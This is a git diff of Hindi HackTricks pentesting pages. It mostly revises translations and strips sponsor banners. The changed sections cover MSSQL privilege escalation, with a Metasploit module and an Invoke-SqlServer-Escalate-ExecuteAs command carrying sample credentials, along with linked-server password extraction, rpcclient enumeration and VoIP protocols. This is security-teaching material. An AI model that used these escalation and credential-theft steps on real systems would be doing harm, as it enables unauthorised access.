Microsoft SQL Server **कई विस्तारित स्टोर प्रक्रियाएँ** प्रदान करता है जो आपको न केवल नेटवर्क के साथ बल्कि फ़ाइल सिस्टम और यहां तक कि [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** के साथ बातचीत करने की अनुमति देती हैं:**
|
||||
Microsoft SQL Server **कई विस्तारित स्टोर प्रक्रियाएँ** प्रदान करता है जो आपको न केवल नेटवर्क के साथ बल्कि फ़ाइल सिस्टम और यहां तक कि [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** के साथ इंटरैक्ट करने की अनुमति देती हैं:**
|
||||
|
||||
| **सामान्य** | **इंस्टेंस-जानकारी** |
|
||||
| **नियमित** | **इंस्टेंस-जानकारी** |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
| sys.xp\_regread | sys.xp\_instance\_regread |
|
||||
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
|
||||
|
@ -360,7 +352,7 @@ For **more examples** check out the [**original source**](https://blog.wayneshef
|
|||
|
||||
### From db\_owner to sysadmin
|
||||
|
||||
यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** भूमिका दी जाती है **एक डेटाबेस पर जो एक admin** उपयोगकर्ता (जैसे **`sa`**) द्वारा स्वामित्व में है और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाए गए **stored procedures** को **admin** के रूप में **execute** किया जा सकता है।
|
||||
यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** भूमिका दी जाती है **एक डेटाबेस पर जो एक admin** उपयोगकर्ता (जैसे **`sa`**) द्वारा स्वामित्व में है और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाए गए **stored procedures** को **स्वामी** (**admin**) के रूप में **execute** किया जा सकता है।
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -450,32 +442,32 @@ msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
|||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||||
```
|
||||
## MSSQL का उपयोग करना स्थिरता के लिए
|
||||
## MSSQL का उपयोग स्थिरता के लिए
|
||||
|
||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## SQL Server Linked Servers से पासवर्ड निकालना
|
||||
## SQL सर्वर लिंक्ड सर्वरों से पासवर्ड निकालना
|
||||
|
||||
एक हमलावर SQL Server Linked Servers के पासवर्ड को SQL Instances से निकाल सकता है और उन्हें स्पष्ट पाठ में प्राप्त कर सकता है, जिससे हमलावर को ऐसे पासवर्ड मिलते हैं जिनका उपयोग लक्ष्य पर अधिक पकड़ बनाने के लिए किया जा सकता है। Linked Servers के लिए संग्रहीत पासवर्ड को निकालने और डिक्रिप्ट करने के लिए स्क्रिप्ट [यहाँ](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) मिल सकती है।
|
||||
एक हमलावर SQL सर्वर लिंक्ड सर्वरों के पासवर्ड को SQL इंस्टेंस से निकाल सकता है और उन्हें स्पष्ट पाठ में प्राप्त कर सकता है, जिससे हमलावर को ऐसे पासवर्ड मिलते हैं जिनका उपयोग लक्ष्य पर अधिक पकड़ बनाने के लिए किया जा सकता है। लिंक्ड सर्वरों के लिए संग्रहीत पासवर्ड को निकालने और डिक्रिप्ट करने के लिए स्क्रिप्ट [यहाँ](https://www.richardswinbank.net/admin/extract_linked_server_passwords) मिल सकती है।
|
||||
|
||||
इस एक्सप्लॉइट के काम करने के लिए कुछ आवश्यकताएँ और कॉन्फ़िगरेशन किए जाने चाहिए। सबसे पहले, आपके पास मशीन पर व्यवस्थापक अधिकार होना चाहिए, या SQL Server कॉन्फ़िगरेशन प्रबंधित करने की क्षमता होनी चाहिए।
|
||||
इस एक्सप्लॉइट के काम करने के लिए कुछ आवश्यकताएँ और कॉन्फ़िगरेशन किए जाने चाहिए। सबसे पहले, आपके पास मशीन पर व्यवस्थापक अधिकार होना चाहिए, या SQL सर्वर कॉन्फ़िगरेशन प्रबंधित करने की क्षमता होनी चाहिए।
|
||||
|
||||
अपने अनुमतियों को मान्य करने के बाद, आपको तीन चीजें कॉन्फ़िगर करनी होंगी, जो निम्नलिखित हैं:
|
||||
|
||||
1. SQL Server इंस्टेंस पर TCP/IP सक्षम करें;
|
||||
1. SQL सर्वर इंस्टेंस पर TCP/IP सक्षम करें;
|
||||
2. एक स्टार्ट अप पैरामीटर जोड़ें, इस मामले में, एक ट्रेस फ्लैग जोड़ा जाएगा, जो -T7806 है।
|
||||
3. दूरस्थ व्यवस्थापक कनेक्शन सक्षम करें।
|
||||
|
||||
इन कॉन्फ़िगरेशनों को स्वचालित करने के लिए, [यह रिपॉजिटरी](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) आवश्यक स्क्रिप्ट रखती है। प्रत्येक कॉन्फ़िगरेशन के चरण के लिए एक पावरशेल स्क्रिप्ट होने के अलावा, रिपॉजिटरी में एक पूर्ण स्क्रिप्ट भी है जो कॉन्फ़िगरेशन स्क्रिप्ट और पासवर्ड के निष्कर्षण और डिक्रिप्शन को संयोजित करती है।
|
||||
इन कॉन्फ़िगरेशनों को स्वचालित करने के लिए, [यह रिपॉजिटरी](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) आवश्यक स्क्रिप्ट रखती है। प्रत्येक कॉन्फ़िगरेशन के चरण के लिए एक पॉवरशेल स्क्रिप्ट होने के अलावा, रिपॉजिटरी में एक पूर्ण स्क्रिप्ट भी है जो कॉन्फ़िगरेशन स्क्रिप्ट और पासवर्ड के निष्कर्षण और डिक्रिप्शन को संयोजित करती है।
|
||||
|
||||
इस हमले के बारे में अधिक जानकारी के लिए, निम्नलिखित लिंक देखें: [MSSQL डेटाबेस लिंक सर्वर पासवर्ड डिक्रिप्ट करना](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
इस हमले के बारे में अधिक जानकारी के लिए, निम्नलिखित लिंक देखें: [MSSQL डेटाबेस लिंक सर्वर पासवर्ड का डिक्रिप्शन](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[SQL Server समर्पित व्यवस्थापक कनेक्शन की समस्या निवारण](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[SQL सर्वर समर्पित व्यवस्थापक कनेक्शन की समस्या निवारण](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## स्थानीय विशेषाधिकार वृद्धि
|
||||
|
||||
MSSQL सर्वर चलाने वाला उपयोगकर्ता विशेषाधिकार टोकन **SeImpersonatePrivilege** सक्षम करेगा।\
|
||||
आप शायद इनमें से एक 2 पृष्ठों का पालन करके **व्यवस्थापक में वृद्धि** कर सकेंगे:
|
||||
आप शायद इन 2 पृष्ठों में से एक का पालन करते हुए **व्यवस्थापक में वृद्धि** करने में सक्षम होंगे:
|
||||
|
||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||
|
@ -497,15 +489,9 @@ MSSQL सर्वर चलाने वाला उपयोगकर्त
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## HackTricks स्वचालित आदेश
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
|
@ -571,8 +557,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
**पोस्ट ऑफिस प्रोटोकॉल (POP)** को कंप्यूटर नेटवर्किंग और इंटरनेट के क्षेत्र में एक प्रोटोकॉल के रूप में वर्णित किया गया है, जिसका उपयोग **दूरस्थ मेल सर्वर से ईमेल निकालने और पुनर्प्राप्त करने** के लिए किया जाता है, जिससे यह स्थानीय डिवाइस पर सुलभ हो जाता है। OSI मॉडल के एप्लिकेशन लेयर में स्थित, यह प्रोटोकॉल उपयोगकर्ताओं को ईमेल लाने और प्राप्त करने की अनुमति देता है। **POP क्लाइंट्स** का संचालन आमतौर पर मेल सर्वर से कनेक्शन स्थापित करने, सभी संदेशों को डाउनलोड करने, इन संदेशों को क्लाइंट सिस्टम पर स्थानीय रूप से संग्रहीत करने और बाद में उन्हें सर्वर से हटाने में शामिल होता है। हालांकि इस प्रोटोकॉल के तीन संस्करण हैं, **POP3** सबसे अधिक प्रचलित संस्करण के रूप में खड़ा है।
|
||||
**पोस्ट ऑफिस प्रोटोकॉल (POP)** को कंप्यूटर नेटवर्किंग और इंटरनेट के क्षेत्र में एक प्रोटोकॉल के रूप में वर्णित किया गया है, जिसका उपयोग **दूरस्थ मेल सर्वर से ईमेल निकालने और पुनर्प्राप्त करने** के लिए किया जाता है, जिससे यह स्थानीय डिवाइस पर सुलभ हो जाता है। OSI मॉडल के एप्लिकेशन लेयर में स्थित, यह प्रोटोकॉल उपयोगकर्ताओं को ईमेल लाने और प्राप्त करने की अनुमति देता है। **POP क्लाइंट्स** का संचालन आमतौर पर मेल सर्वर से कनेक्शन स्थापित करने, सभी संदेशों को डाउनलोड करने, इन संदेशों को क्लाइंट सिस्टम पर स्थानीय रूप से संग्रहीत करने और बाद में उन्हें सर्वर से हटाने में शामिल होता है। हालांकि इस प्रोटोकॉल के तीन संस्करण हैं, **POP3** सबसे अधिक उपयोग किए जाने वाले संस्करण के रूप में खड़ा है।
|
||||
|
||||
**डिफ़ॉल्ट पोर्ट:** 110, 995(ssl)
|
||||
```
|
||||
|
@ -99,16 +92,11 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
|
|||
| **Setting** | **Description** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | सभी प्रमाणीकरण डिबग लॉगिंग सक्षम करता है। |
|
||||
| `auth_debug_passwords` | यह सेटिंग लॉग verbosity, प्रस्तुत पासवर्ड और स्कीम को लॉग करती है। |
|
||||
| `auth_debug_passwords` | यह सेटिंग लॉग की verbosity, प्रस्तुत पासवर्ड और योजना को लॉग करती है। |
|
||||
| `auth_verbose` | असफल प्रमाणीकरण प्रयासों और उनके कारणों को लॉग करता है। |
|
||||
| `auth_verbose_passwords` | प्रमाणीकरण के लिए उपयोग किए गए पासवर्ड लॉग किए जाते हैं और इन्हें संक्षिप्त भी किया जा सकता है। |
|
||||
| `auth_anonymous_username` | यह ANONYMOUS SASL तंत्र के साथ लॉगिन करते समय उपयोग किए जाने वाले उपयोगकर्ता नाम को निर्दिष्ट करता है। |
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Relative Identifiers (RID) और Security Identifiers (SID) का अवलोकन
|
||||
|
||||
**Relative Identifiers (RID)** और **Security Identifiers (SID)** Windows ऑपरेटिंग सिस्टम में नेटवर्क डोमेन के भीतर उपयोगकर्ताओं और समूहों जैसे ऑब्जेक्ट्स की अद्वितीय पहचान और प्रबंधन के लिए प्रमुख घटक हैं।
|
||||
|
@ -34,7 +26,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### **rpcclient के साथ Enumeration**
|
||||
|
||||
Samba का **`rpcclient`** उपयोगिता **RPC endpoints के साथ नामित पाइप के माध्यम से बातचीत करने के लिए** उपयोग की जाती है। नीचे दिए गए कमांड SAMR, LSARPC, और LSARPC-DS इंटरफेस पर जारी किए जा सकते हैं जब एक **SMB सत्र स्थापित किया गया है**, जो अक्सर क्रेडेंशियल की आवश्यकता होती है।
|
||||
Samba का **`rpcclient`** उपयोगिता **RPC endpoints के साथ नामित पाइप के माध्यम से बातचीत करने के लिए** उपयोग की जाती है। नीचे दिए गए कमांड SAMR, LSARPC, और LSARPC-DS इंटरफेस पर जारी किए जा सकते हैं जब एक **SMB सत्र स्थापित किया गया है**, जो अक्सर क्रेडेंशियल्स की आवश्यकता होती है।
|
||||
|
||||
#### सर्वर जानकारी
|
||||
|
||||
|
@ -81,11 +73,11 @@ done
|
|||
|
||||
* **नाम द्वारा SIDs** का उपयोग करके: `lookupnames <username>`.
|
||||
* **अधिक SIDs** के माध्यम से: `lsaenumsid`.
|
||||
* **अधिक SIDs की जांच के लिए RID चक्रण** किया जाता है: `lookupsids <sid>`.
|
||||
* **अधिक SIDs की जांच के लिए RID साइक्लिंग** किया जाता है: `lookupsids <sid>`.
|
||||
|
||||
#### **अतिरिक्त आदेश**
|
||||
#### **अतिरिक्त कमांड**
|
||||
|
||||
| **आदेश** | **इंटरफेस** | **विवरण** |
|
||||
| **कमांड** | **इंटरफेस** | **विवरण** |
|
||||
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| queryuser | SAMR | उपयोगकर्ता जानकारी प्राप्त करें |
|
||||
| querygroup | समूह की जानकारी प्राप्त करें | |
|
||||
|
@ -95,19 +87,13 @@ done
|
|||
| createdomuser | एक डोमेन उपयोगकर्ता बनाएं | |
|
||||
| deletedomuser | एक डोमेन उपयोगकर्ता हटाएं | |
|
||||
| lookupnames | LSARPC | उपयोगकर्ता नामों को SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) मानों के लिए देखें |
|
||||
| lookupsids | उपयोगकर्ता नामों के लिए SIDs देखें (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) चक्रण) | |
|
||||
| lookupsids | उपयोगकर्ता नामों के लिए SIDs देखें (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) साइक्लिंग) | |
|
||||
| lsaaddacctrights | एक उपयोगकर्ता खाते में अधिकार जोड़ें | |
|
||||
| lsaremoveacctrights | एक उपयोगकर्ता खाते से अधिकार हटाएं | |
|
||||
| dsroledominfo | LSARPC-DS | प्राथमिक डोमेन की जानकारी प्राप्त करें |
|
||||
| dsenumdomtrusts | एक AD वन के भीतर विश्वसनीय डोमेन की गणना करें | |
|
||||
| dsenumdomtrusts | एक AD वन में विश्वसनीय डोमेनों की गणना करें | |
|
||||
|
||||
**समझने के लिए** कि उपकरण _**samrdump**_ **और** _**rpcdump**_ कैसे काम करते हैं, आपको [**Pentesting MSRPC**](../135-pentesting-msrpc.md) पढ़ना चाहिए।
|
||||
|
||||
**ट्राई हार्ड सुरक्षा समूह**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
**समझने** के लिए कि उपकरण _**samrdump**_ **और** _**rpcdump**_ कैसे काम करते हैं, आपको [**Pentesting MSRPC**](../135-pentesting-msrpc.md) पढ़ना चाहिए।
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -117,8 +103,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
|
|||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,20 +16,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप खाता अधिग्रहण और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Signaling Protocols
|
||||
|
||||
### SIP (Session Initiation Protocol)
|
||||
|
@ -42,97 +28,86 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार
|
|||
|
||||
### MGCP (Media Gateway Control Protocol)
|
||||
|
||||
MGCP (Media Gateway Control Protocol) एक **सिग्नलिंग** और **कॉल** **नियंत्रण प्रोटोकॉल** है जो RFC 3435 में वर्णित है। यह एक केंद्रीकृत आर्किटेक्चर में कार्य करता है, जिसमें तीन मुख्य घटक होते हैं:
|
||||
MGCP (Media Gateway Control Protocol) एक **signaling** और **call** **control protocol** है जो RFC 3435 में वर्णित है। यह एक केंद्रीकृत आर्किटेक्चर में कार्य करता है, जिसमें तीन मुख्य घटक होते हैं:
|
||||
|
||||
1. **कॉल एजेंट या मीडिया गेटवे नियंत्रक (MGC)**: MGCP आर्किटेक्चर में मुख्य गेटवे मीडिया गेटवे का **प्रबंधन और नियंत्रण** करने के लिए जिम्मेदार है। यह कॉल सेटअप, संशोधन और समाप्ति प्रक्रियाओं को संभालता है। MGC मीडिया गेटवे के साथ MGCP प्रोटोकॉल का उपयोग करके संवाद करता है।
|
||||
2. **मीडिया गेटवे (MGs) या स्लेव गेटवे**: ये उपकरण **विभिन्न नेटवर्कों के बीच डिजिटल मीडिया स्ट्रीम को परिवर्तित** करते हैं, जैसे पारंपरिक सर्किट-स्विच टेलीफोनी और पैकेट-स्विच IP नेटवर्क। इन्हें MGC द्वारा प्रबंधित किया जाता है और यह उससे प्राप्त आदेशों को निष्पादित करते हैं। मीडिया गेटवे में ट्रांसकोडिंग, पैकेटाइजेशन, और इको रद्द करने जैसी कार्यक्षमताएँ शामिल हो सकती हैं।
|
||||
3. **सिग्नलिंग गेटवे (SGs)**: ये गेटवे **विभिन्न नेटवर्कों के बीच सिग्नलिंग संदेशों को परिवर्तित** करने के लिए जिम्मेदार होते हैं, जिससे पारंपरिक टेलीफोनी सिस्टम (जैसे, SS7) और IP-आधारित नेटवर्क (जैसे, SIP या H.323) के बीच निर्बाध संचार संभव होता है। सिग्नलिंग गेटवे इंटरऑपरेबिलिटी के लिए महत्वपूर्ण हैं और यह सुनिश्चित करते हैं कि कॉल नियंत्रण जानकारी विभिन्न नेटवर्कों के बीच सही तरीके से संप्रेषित हो।
|
||||
1. **Call Agent या Media Gateway Controller (MGC)**: MGCP आर्किटेक्चर में मुख्य गेटवे **मीडिया गेटवे** का **प्रबंधन और नियंत्रण** करने के लिए जिम्मेदार है। यह कॉल सेटअप, संशोधन और समाप्ति प्रक्रियाओं को संभालता है। MGC मीडिया गेटवे के साथ MGCP प्रोटोकॉल का उपयोग करके संवाद करता है।
|
||||
2. **Media Gateways (MGs) या Slave Gateways**: ये उपकरण **विभिन्न नेटवर्कों के बीच डिजिटल मीडिया स्ट्रीम को परिवर्तित** करते हैं, जैसे पारंपरिक सर्किट-स्विच टेलीफोनी और पैकेट-स्विच IP नेटवर्क। इन्हें MGC द्वारा प्रबंधित किया जाता है और यह उससे प्राप्त आदेशों को निष्पादित करते हैं। मीडिया गेटवे में ट्रांसकोडिंग, पैकेटाइजेशन, और इको रद्द करने जैसी कार्यक्षमताएँ शामिल हो सकती हैं।
|
||||
3. **Signaling Gateways (SGs)**: ये गेटवे **विभिन्न नेटवर्कों के बीच signaling संदेशों को परिवर्तित** करने के लिए जिम्मेदार होते हैं, पारंपरिक टेलीफोनी सिस्टम (जैसे, SS7) और IP-आधारित नेटवर्क (जैसे, SIP या H.323) के बीच निर्बाध संचार सक्षम करते हैं। signaling गेटवे इंटरऑपरेबिलिटी के लिए महत्वपूर्ण हैं और यह सुनिश्चित करते हैं कि कॉल नियंत्रण जानकारी विभिन्न नेटवर्कों के बीच सही तरीके से संप्रेषित हो।
|
||||
|
||||
संक्षेप में, MGCP कॉल एजेंट में कॉल नियंत्रण तर्क को केंद्रीकृत करता है, जो मीडिया और सिग्नलिंग गेटवे के प्रबंधन को सरल बनाता है, दूरसंचार नेटवर्क में बेहतर स्केलेबिलिटी, विश्वसनीयता, और दक्षता प्रदान करता है।
|
||||
संक्षेप में, MGCP कॉल एजेंट में कॉल नियंत्रण तर्क को केंद्रीकृत करता है, जो मीडिया और signaling गेटवे के प्रबंधन को सरल बनाता है, दूरसंचार नेटवर्क में बेहतर स्केलेबिलिटी, विश्वसनीयता, और दक्षता प्रदान करता है।
|
||||
|
||||
### SCCP (Skinny Client Control Protocol)
|
||||
|
||||
Skinny Client Control Protocol (SCCP) एक **स्वामित्व सिग्नलिंग और कॉल नियंत्रण प्रोटोकॉल** है जो Cisco Systems के स्वामित्व में है। इसका मुख्य रूप से **Cisco Unified Communications Manager** (जिसे पहले CallManager के नाम से जाना जाता था) और Cisco IP फोन या अन्य Cisco वॉयस और वीडियो एंडपॉइंट्स के बीच संचार के लिए **उपयोग** किया जाता है।
|
||||
Skinny Client Control Protocol (SCCP) एक **स्वामित्व वाला signaling और call control protocol** है जो Cisco Systems के पास है। इसका मुख्य रूप से **Cisco Unified Communications Manager** (जिसे पहले CallManager के नाम से जाना जाता था) और Cisco IP फोन या अन्य Cisco वॉयस और वीडियो एंडपॉइंट्स के बीच संचार के लिए **उपयोग** किया जाता है।
|
||||
|
||||
SCCP एक हल्का प्रोटोकॉल है जो कॉल नियंत्रण सर्वर और एंडपॉइंट उपकरणों के बीच संचार को सरल बनाता है। इसे "Skinny" कहा जाता है क्योंकि इसका न्यूनतम डिज़ाइन और अन्य VoIP प्रोटोकॉल जैसे H.323 या SIP की तुलना में कम बैंडविड्थ आवश्यकताएँ होती हैं।
|
||||
|
||||
SCCP-आधारित प्रणाली के मुख्य घटक हैं:
|
||||
|
||||
1. **कॉल नियंत्रण सर्वर**: यह सर्वर, आमतौर पर एक Cisco Unified Communications Manager, कॉल सेटअप, संशोधन, और समाप्ति प्रक्रियाओं का प्रबंधन करता है, साथ ही कॉल फॉरवर्डिंग, कॉल ट्रांसफर, और कॉल होल्ड जैसी अन्य टेलीफोनी सुविधाएँ भी।
|
||||
2. **SCCP एंडपॉइंट्स**: ये उपकरण जैसे IP फोन, वीडियो कॉन्फ्रेंसिंग यूनिट, या अन्य Cisco वॉयस और वीडियो एंडपॉइंट्स हैं जो कॉल नियंत्रण सर्वर के साथ संचार करने के लिए SCCP का उपयोग करते हैं। ये सर्वर के साथ पंजीकरण करते हैं, सिग्नलिंग संदेश भेजते और प्राप्त करते हैं, और कॉल हैंडलिंग के लिए कॉल नियंत्रण सर्वर द्वारा प्रदान किए गए निर्देशों का पालन करते हैं।
|
||||
3. **गेटवे**: ये उपकरण, जैसे वॉयस गेटवे या मीडिया गेटवे, विभिन्न नेटवर्कों के बीच मीडिया स्ट्रीम को परिवर्तित करने के लिए जिम्मेदार होते हैं, जैसे पारंपरिक सर्किट-स्विच टेलीफोनी और पैकेट-स्विच IP नेटवर्क। इनमें ट्रांसकोडिंग या इको रद्द करने जैसी अतिरिक्त कार्यक्षमताएँ भी शामिल हो सकती हैं।
|
||||
1. **Call Control Server**: यह सर्वर, आमतौर पर एक Cisco Unified Communications Manager, कॉल सेटअप, संशोधन, और समाप्ति प्रक्रियाओं का प्रबंधन करता है, साथ ही कॉल फॉरवर्डिंग, कॉल ट्रांसफर, और कॉल होल्ड जैसी अन्य टेलीफोनी सुविधाएँ भी।
|
||||
2. **SCCP Endpoints**: ये उपकरण जैसे IP फोन, वीडियो कॉन्फ्रेंसिंग यूनिट, या अन्य Cisco वॉयस और वीडियो एंडपॉइंट्स हैं जो कॉल नियंत्रण सर्वर के साथ संचार के लिए SCCP का उपयोग करते हैं। ये सर्वर के साथ पंजीकरण करते हैं, signaling संदेश भेजते और प्राप्त करते हैं, और कॉल हैंडलिंग के लिए कॉल नियंत्रण सर्वर द्वारा प्रदान किए गए निर्देशों का पालन करते हैं।
|
||||
